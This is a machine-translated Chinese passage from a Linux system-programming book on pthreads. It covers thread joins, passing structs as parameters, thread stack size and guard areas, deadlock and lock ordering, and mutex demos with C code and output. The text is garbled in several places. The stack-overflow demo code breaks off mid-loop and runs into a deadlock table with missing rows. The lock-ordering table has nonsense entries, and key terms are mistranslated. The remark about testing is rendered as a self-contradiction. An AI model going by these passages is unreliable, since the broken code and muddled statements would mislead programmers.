短语--这通常指定调用是非阻塞的;换句话说,我们在目标线程上执行非阻塞联接。 如果目标线程是活动的,那么 API 不会等待它死亡,而是立即返回一个错误:`errno`,它将被设置为`EBUSY`(手册页告诉我们,这意味着在调用时线程还没有终止)。 - -如果我们想要等待(阻止)目标线程的死亡,但不是永远呢? 换句话说,我们希望等待给定的最长时间段。 这可以通过`pthread_timedjoin_np(3)`API 实现;前两个参数是通常的参数(与`pthread_join)`相同,而第三个参数以绝对时间(或通常所说的 Unix 时间-从 1970 年 1 月 1 日午夜到大纪元以来经过的秒数(和纳秒))的形式指定超时时间!)。 - -如第[章](13.html),*定时器*中所述,第二`timespec`数据结构的格式如下: - -```sh - struct timespec { - time_t tv_sec; /* seconds */ - long tv_nsec; /* nanoseconds */ - }; -``` - -这很简单;但是我们如何将时间指定为 UNIX 时间(或自时代以来的时间)? 我们建议读者参考`pthread_timedjoin_np(3)`上的手册页,其中给出了一个相同的简单示例(此外,我们还要求您试用此 API 作为练习)。 - -Another thing I noticed when using the `pthread_timedjoin_np(3)` API: it's possible that the join times out and then proceeds to, say, release some resources – like performing `free(3)` on a heap buffer—while the worker thread is still alive and using it. This is a bug, of course; it also goes to show that you must carefully think out and test the design; usually, using a blocking join on all worker threads, thus ensuring they have all terminated before freeing up resources, is the right approach. Again, we remind you that the `_np` suffix to the APIs implies that they are non-portable (Linux-only). - -# 加入还是不加入? - -显式设置为已分离状态的线程不能联接;那么,当它死亡时会发生什么呢? 它的资源由图书馆处理。 - -显式设置为可接合状态(或如果可接合是默认状态)的线程必须联接;否则会导致一种资源泄漏。 因此,请注意:如果您创建了可连接的线程,则必须确保执行连接。 - -通过主线程在其他应用线程上执行联接通常被认为是最佳实践,因为这可以防止我们之前看到的僵尸线程行为。 此外,对于创建者线程来说,了解其工作人员是否成功地完成了他们的工作,如果没有,为什么不成功,这通常是很重要的。 加入使这一切成为可能。 - -但是,您的应用可能不想等待某些工作线程;在这种情况下,请确保将它们创建为分离的。 - -# 参数传递 - -回想一下`pthread_create(3)`系列 API 的签名: - -`int pthread_create(pthread_t *thread, const pthread_attr_t *attr,` -`                    void *(*start_routine) **(void *), void *arg**);` - -第三个参数是线程函数-实际上是新生成的线程的生命周期和范围。 它只接收类型为`void *`的单个参数;该参数通过第四个参数传递给新生成的线程,并传递给`pthread_create`:`void *arg`。 - -如前所述,它的数据类型是泛型指针,实际上我们可以将其作为参数传递给任何数据类型,然后在线程例程中进行适当的类型转换和使用。 到目前为止,我们已经遇到了相同的简单用例-通常,传递一个整数值作为参数。 在我们的第一个简单的多线程应用中-`ch14/pthreads1.c`-在我们的主要应用函数中,我们执行了以下操作: - -```sh -long i; -int ret; -pthread_t tid; - -for (i = 0; i < NTHREADS; i++) { - ret = pthread_create(&tid, NULL, worker, (void *)i); - ... -} -``` - -而且,在 Worker 的线程例程中,我们执行了一个简单的类型转换和使用: - -```sh -void * worker(void *data) -{ - long datum = (long)data; -... -``` - -这很容易,但它确实提出了一个相当明显的问题:在`pthread_create(3)`API 中,由于似乎只有一个占位符用于指定`arg`(参数),如何才能将多个数据项(实际上是多个参数)传递给线程例程呢? - -# 将结构作为参数传递 - -前面的标题暴露了这一点:我们传递了一个新的数据结构。但是,具体是如何传递的呢? 将内存分配给指向数据结构的指针,对其进行初始化,然后传递类型转换为`void *`的指针。 (事实上,这是 C 程序员使用的一种非常常见的方法。)在线程例程中,像往常一样,进行类型转换并使用它。 - -为了清晰起见,我们将尝试以下内容(`ch14/param_passing/struct_as_param.c`): - -For readability, only key parts of the source code are displayed; to view the complete source code, build, and run it, the entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux)*.* - -```sh -/* Our data structure that we intend to pass as a parameter to the threads. City Airport information. */ -typedef struct { - char IATA_code[IATA_MAXSZ]; - /* http://www.nationsonline.org/oneworld/IATA_Codes/ */ - char city[CITY_MAXSZ]; /* city name */ - float latitude, longitude; /* coordinates of the city airport */ - unsigned int altitude; /* metres */ - /* todo: add # runways, runway direction, radio beacons freq, etc etc */ - unsigned long reserved; /* for future use */ -} Airport; /* yes! the {lat,long,alt} tuple is accurate :-) */ -static const Airport city_airports[3] = { - { "BLR", "Bangalore International", 13.1986, 77.7066, 904, 0 }, - { "BNE", "Brisbane International", 27.3942, 153.1218, 4, 0 }, - { "BRU", "Brussels National", 50.9010, 4.4856, 58, 0 }, -}; -``` - -例如,我们构建自己的机场信息数据结构 Airport,然后设置一个数组(`city_airports`),初始化其中的几个成员。 - -在第二个主函数中,我们声明了一个指向 Airport 结构的指针数组;我们知道指针本身没有内存,因此在线程创建循环中,我们为每个指针分配内存,然后将其初始化为一个 Airport(通过一个简单的函数`memcpy(3)`): - -```sh - Airport * plocdata[NTHREADS]; -... - // Thread creation loop - for (i = 0; i < NTHREADS; i++) { - printf("main: creating thread #%ld ...\n", i); - - /* Allocate and initialize data structure to be passed to the - * thread as a parameter */ - plocdata[i] = calloc(1, sizeof(Airport)); - if (!plocdata[i]) - FATAL("calloc [%d] failed\n", i); - memcpy(plocdata[i], &city_airports[i], sizeof(Airport)); - - ret = pthread_create(&tid[i], &attr, worker, (void *)plocdata[i]); - if (ret) - FATAL("pthread_create() index %d failed! [%d]\n", i, ret); - } -``` - -好的,既然我们已经知道前面的代码并不是真正最优的;我们可以只将`city_airports[i]`的结构指针作为参数传递给线程。*为了举一个迂腐的例子,利用我们刚刚分配的`plocdata[i]`个结构,我们将一个结构转换成另一个结构。 - -然后,在函数`pthread_create(3)`函数调用中,我们可以将指向数据结构的指针作为第四个参数传递。这将成为线程的参数;在线程例程中,我们声明一个相同数据类型的函数`arg`函数指针,并将其等同于我们接收的类型转换数据函数指针: - -```sh -void * worker(void *data) -{ - Airport * arg = (Airport *)data; - int slptm=8; - - printf( "\n----------- Airports Details ---------------\n" - " IATA code : %.*s %32s\n" - " Latitude, Longitude, Altitude : %9.4f %9.4f %9um\n" - , IATA_MAXSZ, arg->IATA_code, - arg->city, - arg->latitude, arg->longitude, arg->altitude); -... -``` - -然后,我们可以继续使用`arg`作为指向机场的指针;在前面的演示代码中,我们只打印出结构中的值。 我们鼓励读者构建并运行此代码。 - -Did you notice the `%.*s` C printf format specifier trick in the preceding code? This is done when we want to print a string that is not necessarily NULL-terminated; the `%.*s` format specifier allows one to specify the size followed by the string pointer. The string will be printed to only size bytes. - -# 螺纹参数-不能做的事情 - -在将参数传递给线程例程时需要记住的真正关键的一件事是,您必须保证传递的参数是线程安全的;本质上,当一个(或多个)线程正在使用它时,它不会以任何方式被修改。 - -(线程安全是使用线程的一个重要方面;我们也将在接下来的章节中经常重温这一点)。 - -为了帮助更清楚地理解可能出现的问题,让我们举几个典型的例子。 在第一个示例中,我们将(尝试)将循环索引作为参数传递给新生成的线程,例如,在 main(code:`ch14/pthreads1_wrong.c`)中: - -```sh - printf("main: &i=%p\n", &i); - for (i = 0; i < NTHREADS; i++) { - printf("Creating thread #%ld now ...\n", i); - ret = pthread_create(&tid, NULL, worker, (void *)&i); - ... -} -``` - -你注意到了吗!? 我们已将参数作为`&i`传递。 所以?。 在线程例程中正确取消引用它应该仍然有效,对吗: - -```sh -void * worker(void *data) -{ - long data_addr = (long)data; - long index = *(long *)data_addr; - printf("Worker thread: data_addr=%p value=%ld\n", - (void *)data_addr, index); - pthread_exit((void *)0); -} -``` - -看起来还可以--让我们试一试吧! - -```sh -$ ./pthreads1_wrong -main: &i=0x7ffebe160f00 -Creating thread #0 now ... -Creating thread #1 now ... -Worker thread: data_addr=0x7ffebe160f00 value=1 -Creating thread #2 now ... -Worker thread: data_addr=0x7ffebe160f00 value=2 -Worker thread: data_addr=0x7ffebe160f00 value=3 $ -``` - -嗯,它起作用了。 但是等一下,再试几次--时间上的巧合会让你误以为一切都很好,而事实并非如此: - -```sh -$ ./pthreads1_wrong -main: &i=0x7fff4475e0d0 -Creating thread #0 now ... -Creating thread #1 now ... -Creating thread #2 now ... -Worker thread: data_addr=0x7fff4475e0d0 value=2 -Worker thread: data_addr=0x7fff4475e0d0 value=2 -Worker thread: data_addr=0x7fff4475e0d0 value=3 -$ -``` - -有只虫子! 该指数的数值已经两次评估为 2%的值;原因何在? 仔细想想:我们已经通过引用传递了循环索引--作为指向循环变量的指针。 线程 1 变得活跃起来,并查找它的值-线程 2 也是如此,线程 3 也是如此。但是等等:难道我们这里不可能有一场竞争吗? 线程 1 运行并查找其下面的循环变量的值时,是否可能已经发生了更改(因为,别忘了,循环正在 Main 中运行)?当然,这正是前面代码中发生的事情。 - -换句话说,按地址传递变量是不安全的,因为它的值可能会在读取(由工作线程)时发生变化,因为它同时被(由主线程)写入;因此,它不是线程安全的,因此将是有错误的(Racy)。 - -解决方案实际上非常简单:不要只按地址传递循环索引;只需将其作为文字值传递即可: - -```sh -for (i = 0; i < NTHREADS; i++) { - printf("Creating thread #%ld now ...\n", i); - ret = pthread_create(&tid, NULL, worker, (void *)i); - ... -} -``` - -现在,每个工作线程都会收到循环索引的副本,从而消除了任何争用,从而使其变得安全。 - -现在,不要急于得出这样的结论,嘿,好吧,所以我们永远不应该将指针(地址)作为参数传递。 你当然可以! 只需确保它是线程安全的--在被 Main 和其他应用线程操作时,它的值不能在它下面改变。 - -请回过头来看看我们在上一节中演示的`ch14/struct_as_param.c`线程代码;我们在很大程度上将线程参数作为指向结构的指针进行传递。 仔细观察:在主线程创建循环中,每个指针都是单独分配的(通过`calloc(3)`)。因此,每个工作线程都收到了自己的结构副本;因此,一切都是安全的,运行良好。 - -一个有趣的练习(留给读者)是故意将缺陷插入到`struct_as_param`应用中,方法是只使用一个分配的结构(而不是三个),并将其传递给每个工作线程。 这一次,它将是活泼的,(最终)将会失败。 - -# 线程堆栈 - -我们知道,无论何时创建线程,它都会为其堆栈获取一块新分配的内存。 这会导致理解(显然,但我们将声明它)线程函数中声明的所有局部变量将保持为该线程的私有变量;这是因为它们将驻留在该线程的堆栈中。 (请参阅本章中的*图 2*-新创建的线程的新堆栈显示为红色)。 此外,无论何时发生上下文切换,都会更新**堆栈指针**(**SP**)寄存器以指向当前线程的堆栈。 - -# 获取并设置线程堆栈大小 - -知道并能够更改线程堆栈的大小确实很重要(请参见 GitHub 存储库的*进一步阅读*一节中提供的链接,其中提到了一个真实世界的体验,即设置一个对于特定平台来说太小的堆栈是如何导致随机的、真正难以调试的故障的)。 - -那么,最大的默认线程堆栈大小是多少?答案已经提供;回想一下我们在本章早些时候运行的`disp_defattr_pthread`程序(在*代码示例-查询默认线程属性*部分):它向我们展示了(现代的 NPTL)Linux 平台上的默认线程堆栈大小是 8MB。 - -PthreadsAPI 集提供了一些设置和查询线程堆栈大小的例程。 一种方式是: - -```sh -#include -int pthread_attr_setstacksize(pthread_attr_t *attr, size_t stacksize); -int pthread_attr_getstacksize(const pthread_attr_t *attr, - size_t *stacksize); -``` - -由于我们已经在前面的`disp_defattr_pthread`程序中使用了`pthread_attr_getstacksize(3)`命令,我们将避免在这里再次显示它的用法。 使用互补的`pthread_attr_setstacksize(3)`API 很容易设置线程大小-第二个参数是所需的大小(以字节为单位)。 不过请注意,这两个 API 中都有短语`_attr_`,这意味着堆栈大小实际上是从活动线程属性结构设置或查询的,而不是活动线程本身。 这让我们明白,我们只能在创建线程时通过设置属性结构来设置或查询堆栈大小(当然,该属性结构随后作为第二个参数传递给了 t`pthread_create(3)`)。 线程一旦创建,其堆栈大小就不能更改。 这条规则的例外是第一条主线的堆栈。 - -# 堆栈位置 - -线程堆栈实际驻留在内存中的哪个位置(从技术上讲,是给定进程的 VAS 中的哪个位置)? 以下几点对我们有帮助: - -* 主线程的堆栈始终位于进程 VAS 的最顶端。 -* 进程中所有其他线程的堆栈位于进程堆段和 Main 堆栈之间的某个位置;应用开发人员事先不知道确切的位置;在任何情况下,我们都不需要知道。 -* 这不是直接相关的,但很重要:回想一下[第 2 章](02.html),*虚拟内存*,对于大多数处理器来说,堆栈符合堆栈向下增长的语义;也就是说,堆栈段的增长方向是朝着更低的虚拟地址发展。 - -虽然我们应该不需要这样做,但有没有办法指定线程堆栈的具体位置呢? 是的,如果您坚持:`pthread_attr_[get|set]stack(3)`系列 API 可以用于此目的,以及设置和/或查询线程堆栈的大小: - -```sh -#include -int pthread_attr_setstack(pthread_attr_t *attr, - void *stackaddr, size_t stacksize); -int pthread_attr_getstack(const pthread_attr_t *attr, - void **stackaddr, size_t *stacksize); -``` - -虽然您可以使用`pthread_attr_setstack`命令来设置堆栈位置,但建议将此操作留给操作系统。 此外,如果您确实使用它,再次建议堆栈位置和堆栈大小都应该是系统页面大小的倍数(并且该位置与页面边界对齐)。 将线程堆栈与页面边界对齐可以通过`posix_memalign(3)`API 轻松实现(我们在[第 4 章](04.html),*动态内存分配*中介绍了此 API 的示例用法)。 - -注意:如果您在线程属性结构中指定堆栈位置,并在循环中创建线程(这是正常的方式),则必须确保每个线程都收到一个唯一的堆栈位置(这通常是通过前面提到的`posix_memalign(3)`分配堆栈内存,然后将其返回值作为堆栈位置传递)。 当然,将用于线程堆栈的内存页必须同时具有读写权限(回想一下[第 4 章](04.html),*动态内存分配*中的`mprotect(2)`)。 - -说到底,设置和查询线程堆栈的机制很简单;真正的关键点是:(压力)测试您的应用,以确保提供的线程堆栈内存足够。 正如我们在[第 11 章](11.html)和*信号-第一部分*中看到的,堆栈溢出是一个严重缺陷,将导致未定义的行为。 - -# 烟囱护卫 - -这就巧妙地把我们带到了下一点:有没有办法让应用知道堆栈内存有溢出的危险,或者更确切地说,已经溢出了? 事实上:有两个烟囱守卫。 保护内存是一个或多个虚拟内存页面的区域,它被故意放置并具有适当的权限,以确保任何访问该内存的尝试都会导致失败(或某种警告;例如,用于`SIGSEGV`的信号处理程序可以提供这样的语义-但需要注意的是,一旦我们收到 SIGSEGV,我们就处于未定义的状态,必须终止;但至少我们知道并可以修复堆栈大小!): - -```sh -#include -int pthread_attr_setguardsize(pthread_attr_t *attr, size_t guardsize); -int pthread_attr_getguardsize(const pthread_attr_t *attr, - size_t *guardsize); -``` - -保护区域是在线程堆栈末尾为指定字节数分配的附加存储区域。 默认(保护)大小是系统页面大小。 再次注意,保护大小是线程的属性,因此只能在线程创建时(而不是以后)指定。 我们将运行(code:`ch14/stack_test.c`)应用,如下所示: - -```sh -$ ./stack_test -Usage: ./stack_test size-of-thread-stack-in-KB -$ ./stack_test 2560 -Default thread stack size : 8388608 bytes -Thread stack size now set to : 2621440 bytes -Default thread stack guard size : 4096 bytes - -main: creating thread #0 ... -main: creating thread #1 ... -main: creating thread #2 ... - worker #0: -main: joining (waiting) upon thread #0 ... - worker #1: - - *** In danger(): here, sizeof long is 8 - worker #2: -Thread #0 successfully joined; it terminated with status=1 -main: joining (waiting) upon thread #1 ... -dummy(): parameter val = 115709118 -Thread #1 successfully joined; it terminated with status=0 -main: joining (waiting) upon thread #2 ... -Thread #2 successfully joined; it terminated with status=1 -main: now dying... Farewell! -$ -``` - -在前面的代码中,我们指定 2560KB(2.5MB)作为线程堆栈大小。 虽然这远远低于缺省值(8MB),但事实证明这已经足够了(至少对于 x86_64,粗略的快速计算表明,对于给定的程序参数,我们需要为每个线程堆栈分配至少 1,960KB)。 - -在下面的代码中,我们再次运行它,但这次将线程堆栈大小指定为仅 256 KB: - -```sh -$ ./stack_test 256 -Default thread stack size : 8388608 bytes -Thread stack size now set to : 262144 bytes -Default thread stack guard size : 4096 bytes - -main: creating thread #0 ... -main: creating thread #1 ... - worker #0: -main: creating thread #2 ... - worker #1: -main: joining (waiting) upon thread #0 ... -Segmentation fault (core dumped) -$ -``` - -而且,正如预期的那样,它出现了分段。 - -Examining the core dump with GDB will reveal a lot of clues regarding why the segfault occurred – including, very importantly, the state of the thread stacks (in effect, the stack `backtrace(s)`), at the time of the crash. This, however, goes beyond the scope of this book. -We definitely encourage you to learn about using a powerful debugger such as GDB (see the *Further reading *section on the GitHub repository as well). - -此外(至少在我们的测试系统上),内核会向内核日志中发送一条关于该崩溃的消息;查找内核日志消息的一种方法是通过方便实用程序`dmesg(1)`。 以下输出来自 Ubuntu 18.04 盒: - -```sh -$ dmesg [...] -kern :info : [**] stack_test_dbg[27414]: segfault at 7f5ad1733000 ip 0000000000400e68 sp 00007f5ad164aa20 error 6 in stack_test_dbg[400000+2000] -$ -``` - -前面应用的代码可以在以下位置找到:`ch14/stack_test.c`: - -For readability, only key parts of the source code are displayed; to view the complete source code, build it, and run it, the entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -```sh -int main(int argc, char **argv) -{ -[...] - stack_set = atoi(argv[1]) * 1024; -[...] - /* Init the thread attribute structure to defaults */ - pthread_attr_init(&attr); -[...] - /* Set thread stack size */ - ret = pthread_attr_setstacksize(&attr, stack_set); - if (ret) - FATAL("pthread_attr_setstack(%u) failed! [%d]\n", TSTACK, ret); - printf("Thread stack size now set to : %10u bytes\n", stack_set); -[...] -``` - -在 main 中,我们显示线程堆栈大小属性被初始化为用户传递的参数(以 KB 为单位)。 然后,代码继续创建三个工作线程,然后在它们上联接(等待)。 - -在线程工作程序例程中,我们只有线程#2 执行一些实际工作-您可以猜到,这是堆栈密集型工作。 其代码如下: - -```sh -void * worker(void *data) -{ - long datum = (long)data; - - printf(" worker #%ld:\n", datum); - if (datum != 1) - pthread_exit((void *)1); - - danger(); ... -``` - -当然,执行这项危险的、可能会导致堆栈溢出的工作的就是这个函数`danger`。 - -```sh -static void danger(void) -{ -#define NEL 500 - long heavylocal[NEL][NEL], alpha=0; - int i, j; - long int k=0; - - srandom(time(0)); - - printf("\n *** In %s(): here, sizeof long is %ld\n", - __func__, sizeof(long)); - /* Turns out to be 8 on an x86_64; so the 2d-array takes up - * 500 * 500 * 8 = 2,000,000 ~= 2 MB. - * So thread stack space of less than 2 MB should result in a segfault. - * (On a test box, any value < 1960 KB = 2,007,040 bytes, - * resulted in segfault). - */ - - /* The compiler is quite intelligent; it will optimize away the - * heavylocal 2d array unless we actually use it! So lets do some - * thing with it... - */ - for (i=0; i | | - -很明显,每个线程都在等待另一个线程解锁它想要的锁;因此,每个线程都会永远等待,这就保证了死锁。 这种僵局通常被称为致命拥抱或 ABBA 僵局。 - -# 避免僵局 - -避免僵局显然是我们想要确保的事情。 除了第*锁定准则*部分*和*中涉及的要点之外,还有一个关键点,即多个锁的获取顺序很重要;始终保持一致的锁顺序将提供防止死锁的保护。 - -要理解其中的原因,让我们重新看看刚才介绍的 ABBA 死锁场景(请参阅上表)。 再看看表:注意线程 A 获取锁 L1,然后尝试获取锁 L2,而线程 B 执行相反的操作。 现在我们将代表这个场景,但有一个关键的警告:锁定排序!这次,我们将有一个锁定排序规则;它可能很简单:首先,取 L1 锁,然后取 L2 锁: - -锁定 L1-->锁定 L2 - -考虑到这一锁定订单,我们发现情况可能如下所示: - -| **时间** | **线程 A** | **线程 B** | -| T1 期 | 尝试获取 L1 锁 | 尝试获取 L1 锁 | -| T2 | | 获取锁定 L1 | -| T3 | | | -| T4 | | 锁定 L1 L1 | -| T5 | 获取锁定 L1 | | -| T6 | | 尝试获取 L2 锁 | -| T7 | 锁定 L1 L1 | 获取锁 L2 | -| T8 | 尝试获取 L2 锁 | | -| T9 | | ---> | -| T10 | | 锁定 L2 | -| T11 | 获取锁定 L2 | | -| T12 | | ..。 | -| T13 | 锁定 L2 | ..。 | - -这里的关键点是,两个线程都试图以给定的顺序获取锁;首先是 L1,然后是 L2。 在上表中,我们可以想象这样一种情况:线程 B 首先获得锁,强制线程 A 等待。 这完全没有问题,这是意料之中的;关键是不会出现死锁。 - -精确的顺序本身并不重要;重要的是设计者和开发人员能够记录要遵循的锁顺序并遵守它。 - -The lock ordering semantics, and indeed developer comments regarding this key point, can be often found within the source tree of the Linux kernel (ver 4.19, as of this writing). Here's one example: `virt/kvm/kvm_main.c``...` -`/*` -` * Ordering of locks:` -` *` -` * kvm->lock --> kvm->slots_lock --> kvm->irq_lock` -` */` -`...` - -那么,回过头来看我们的第一个表,我们现在可以清楚地看到,死锁的发生是因为违反了锁的顺序规则:线程 B 先占用锁 L2,然后才占用锁 L1! - -# 使用 pthreadAPI 进行同步 - -既然我们已经介绍了所需的理论背景信息,让我们继续进行实际操作:在本章的其余部分,我们将重点介绍如何使用 pthreadsAPI 执行同步,从而避免竞争。 - -我们了解到,要保护临界区中任何类型的可写共享数据,我们需要锁定。 PthreadsAPI 为这个用例提供了互斥锁;我们只打算在临界区的持续时间内保持锁一小段时间。 - -不过,在某些情况下,我们需要不同类型的同步-我们需要基于某个数据元素的值进行同步;pthreadsAPI 为此用例提供了**条件变量**(**CV**)。 - -让我们依次介绍这些内容。 - -# 互斥锁 - -单词“**mutex**实际上是**互斥**的缩写;对于所有其他(输家)线程的互斥,一个线程-赢家-持有(或拥有)互斥锁。只有当它被解锁时,另一个线程才能获得锁。 - -An FAQ: What really is the difference between the semaphore and the mutex lock? Firstly, the semaphore can be used in two ways—one, as a counter (with the counting semaphore object), and two (relevant to us here), essentially as a mutex lock—the binary semaphore.  -Between the binary semaphore and the mutex lock, there exists two primary differences: one, the semaphore is meant to be used to synchronize between processes and not the threads internal to a single process (it is indeed a well-known IPC facility); the mutex lock is meant to synchronize between the threads of a given (single) process. (Having said that, it is possible to create a process-shared mutex, but it's never the default). -Two, the SysV IPC implementation of the semaphore provides the possibility of having the kernel unlock the semaphore (via the `semop(2)` `SEM_UNDO` flag) if the owner process is abruptly killed (always possible via signal #9); no such possibility even exists for the mutex—the winner must unlock it (we shall cover how the developer can ensure this later). - -让我们从一个初始化、使用和销毁互斥锁的简单示例开始。 在本程序中,我们将创建三个线程,并且仅递增三个全局整数,每个全局整数在线程的 Worker 例程中各递增一次。 - -For readability, only key parts of the source code are displayed; to view the complete source code, build, and run it. The entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux)*.* Code: `ch15/mutex1.c`: - -```sh -static long g1=10, g2=12, g3=14; /* our globals */ -pthread_mutex_t mylock; /* lock to protect our globals */ -``` - -为了使用互斥锁,必须首先将其初始化为解锁状态;这可以按如下方式完成: - -```sh - if ((ret = pthread_mutex_init(&mylock, NULL))) - FATAL("pthread_mutex_init() failed! [%d]\n", ret); -``` - -或者,我们可以将初始化作为声明执行,例如: - -```sh -pthread_mutex_t mylock = PTHREAD_MUTEX_INITIALIZER; -``` - -事实上,可以为互斥锁指定几个互斥锁属性(通过 API`pthread_mutexattr_init(3)`);我们将在本章后面讨论这一点。 目前,这些属性将是系统默认值。 - -此外,一旦完成,我们必须立即销毁互斥锁: - -```sh - if ((ret = pthread_mutex_destroy(&mylock))) - FATAL("pthread_mutex_destroy() failed! [%d]\n", ret); -``` - -像往常一样,我们在一个循环中创建(三个)工作线程(我们不在这里显示此代码,因为它是重复的)。 下面是线程的辅助例程: - -```sh -void * worker(void *data) -{ - long datum = (long)data + 1; - if (locking) - pthread_mutex_lock(&mylock); - - /*--- Critical Section begins */ - g1 ++; g2 ++; g3 ++; - printf("[Thread #%ld] %2ld %2ld %2ld\n", datum, g1, g2, g3); - /*--- Critical Section ends */ - - if (locking) - pthread_mutex_unlock(&mylock); - - /* Terminate with success: status value 0. - * The join will pick this up. */ - pthread_exit((void *)0); -} -``` - -因为我们正在处理的每个线程的数据都是完全可写的共享(它在数据段中!)。 资源,我们认识到这是一个关键的部分! - -因此,我们必须保护它-在这里,我们使用互斥锁来保护它。 因此,在进入临界区之前,我们首先获取互斥锁,然后处理全局数据,然后解锁,从而使操作不受竞争的影响。 (请注意,在前面的代码中,我们只在名为`locking`的变量为真的情况下执行锁定和解锁;这是一种有意测试代码的方式。 当然,在生产中,请取消 If 条件,只执行锁定!)。 细心的读者还会注意到,我们将关键部分保持得相当简短-它只封装了全局更新和随后的`printf(3)`,没有其他内容。 (这对于良好的性能很重要;回想一下我们在前面关于*锁定粒度*的内容。) - -正如前面提到的,我们故意向用户提供一个选项,以避免完全使用锁定-这当然会,或者更确切地说,这可能会导致错误行为。 让我们试试看: - -```sh -$ ./mutex1 -Usage: ./mutex1 lock-or-not - 0 : do Not lock (buggy!) - 1 : do lock (correct) -$ ./mutex1 1 -At start: g1 g2 g3 - 10 12 14 -[Thread #1] 11 13 15 -[Thread #2] 12 14 16 -[Thread #3] 13 15 17 -$ -``` - -它确实能像预期的那样工作。 即使我们将参数传递为零(从而关闭锁定),程序似乎(通常)工作正常: - -```sh -$ ./mutex1 0 -At start: g1 g2 g3 - 10 12 14 -[Thread #1] 11 13 15 -[Thread #2] 12 14 16 -[Thread #3] 13 15 17 -$ -``` - -为什么? 啊,理解这一点很重要:回想一下我们在前面部分学到的东西:它是原子的吗? 通过将简单的整数增量和编译器优化设置为较高级别(实际上,此处为`-O2`),很可能整数增量是原子级的,因此实际上不需要锁定。 然而,情况可能并不总是这样,特别是当我们做一些比仅仅对整数变量递增或递减更复杂的事情时。 (考虑读/写大型全局链表,等等)! 底线:我们必须始终认识到关键部分,并确保我们保护它们。 - -# 观看比赛 - -为了准确演示这个问题(实际看到的是数据竞赛),我们将编写另一个演示程序。 在这个例子中,我们将计算给定数字的阶乘系数(快速提示:3!=3x2x1=6;回想一下您的学生时代-符号 N!的意思是 N 的阶乘)。 相关代码如下: - -For readability, only key parts of the source code are displayed; to view the complete source code, build, and run it. The entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux)*.* Code: `ch15/facto.c`: - -在`main()`中,我们初始化互斥锁(并创建两个工作线程;我们没有显示创建、销毁线程以及互斥锁的代码): - -```sh -printf( "Locking mode : %s\n" - "Verbose mode : %s\n", - (gLocking == 1?"ON":"OFF"), - (gVerbose == 1?"ON":"OFF")); - -if (gLocking) { - if ((ret = pthread_mutex_init(&mylock, NULL))) - FATAL("pthread_mutex_init() failed! [%d]\n", ret); - } -... -``` - -这条线的工作人员例程如下: - -```sh -void * worker(void *data) -{ - long datum = (long)data + 1; - int N=0; -... - if (gLocking) - pthread_mutex_lock(&mylock); - - /*--- Critical Section begins! */ - factorize(N); - printf("[Thread #%ld] (factorial) %d ! = %20lld\n", - datum, N, gFactorial); - /*--- Critical Section ends */ - - if (gLocking) - pthread_mutex_unlock(&mylock); -... -``` - -识别出临界区后,我们获取(并随后解锁)互斥锁。 *`factorize`函数的代码如下: - -```sh -/* - * This is the function that calculates the factorial of the given parameter. -Stress it, making it susceptible to the data race, by turning verbose mode On; then, it will take more time to execute, and likely end up "racing" on the value of the global gFactorial. */ -static void factorize(int num) -{ - int i; - gFactorial = 1; - if (num <= 0) - return; - for (i=1; i<=num; i++) { - gFactorial *= i; - VPRINT(" i=%2d fact=%20lld\n", i, gFactorial); - } -} -``` - -仔细阅读前面的评论;它是本演示的关键。 让我们试试看: - -```sh -$ ./facto -Usage: ./facto lock-or-not [verbose=[0]|1] -Locking mode: - 0 : do Not lock (buggy!) - 1 : do lock (correct) -(TIP: turn locking OFF and verbose mode ON to see the issue!) -$ ./facto 1 -Locking mode : ON -Verbose mode : OFF -[Thread #2] (factorial) 12 ! = 479001600 -[Thread #1] (factorial) 10 ! = 3628800 -$ -``` - -结果是正确的(自己验证这一点)。 现在,我们在锁定和详细模式打开的情况下重新运行它: - -```sh -$ ./facto 0 1 -Locking mode : OFF -Verbose mode : ON -facto.c:factorize:50: i= 1 fact= 1 -facto.c:factorize:50: i= 2 fact= 2 -facto.c:factorize:50: i= 3 fact= 6 -facto.c:factorize:50: i= 4 fact= 24 -facto.c:factorize:50: i= 5 fact= 120 -facto.c:factorize:50: i= 6 fact= 720 -facto.c:factorize:50: i= 7 fact= 5040 -facto.c:factorize:50: i= 8 fact= 40320 -facto.c:factorize:50: i= 9 fact= 362880 -facto.c:factorize:50: i=10 fact= 3628800 -[Thread #1] (factorial) 10 ! = 3628800 -facto.c:factorize:50: i= 1 fact= 1 -facto.c:factorize:50: i= 2 fact= 7257600 *<-- Dirty Read!* -facto.c:factorize:50: i= 3 fact= 21772800 -facto.c:factorize:50: i= 4 fact= 87091200 -facto.c:factorize:50: i= 5 fact= 435456000 -facto.c:factorize:50: i= 6 fact= 2612736000 -facto.c:factorize:50: i= 7 fact= 18289152000 -facto.c:factorize:50: i= 8 fact= 146313216000 -facto.c:factorize:50: i= 9 fact= 1316818944000 -facto.c:factorize:50: i=10 fact= 13168189440000 -facto.c:factorize:50: i=11 fact= 144850083840000 -facto.c:factorize:50: i=12 fact= 1738201006080000 -[Thread #2] (factorial) 12 ! = 1738201006080000 -$ -``` - -啊哈! 在这种情况下,`10!`可以工作,但`12!`是错误的! 我们可以从前面的输出中确切地看到,已经发生了脏读取(在 12!的计算的 i==2 次迭代中),从而导致了缺陷。 嗯,当然:我们没有保护这里的临界区(锁定被关闭);真的难怪它出了问题。 - -我们要再次强调的是,这些竞赛是微妙的计时巧合;在有缺陷的实现中,您的测试用例仍然可能成功,但当然这不能保证任何事情(正如墨菲定律告诉我们的那样,它很可能在该领域失败!)。(一个不幸的事实是,测试可以发现错误的存在,但不能揭示它们的存在。最重要的是,[第 19 章](19.html),*故障排除和最佳实践*涵盖了这些要点)。 - -The reader will realize that, as these data races are delicate timing coincidences, they may or may not occur exactly as shown here on your test systems. Retrying the app a few times may help reproduce these scenarios. - -我们让读者在锁定模式打开和详细模式打开的情况下试用用例;当然,它应该可以工作。 - -# 互斥锁属性 - -互斥锁可以有几个与之关联的属性。 此外,我们列举了其中的几个。 - -# 互斥类型 - -互斥锁可以是四种类型中的一种,默认情况下通常(但并非总是)是普通互斥锁(取决于实现)。 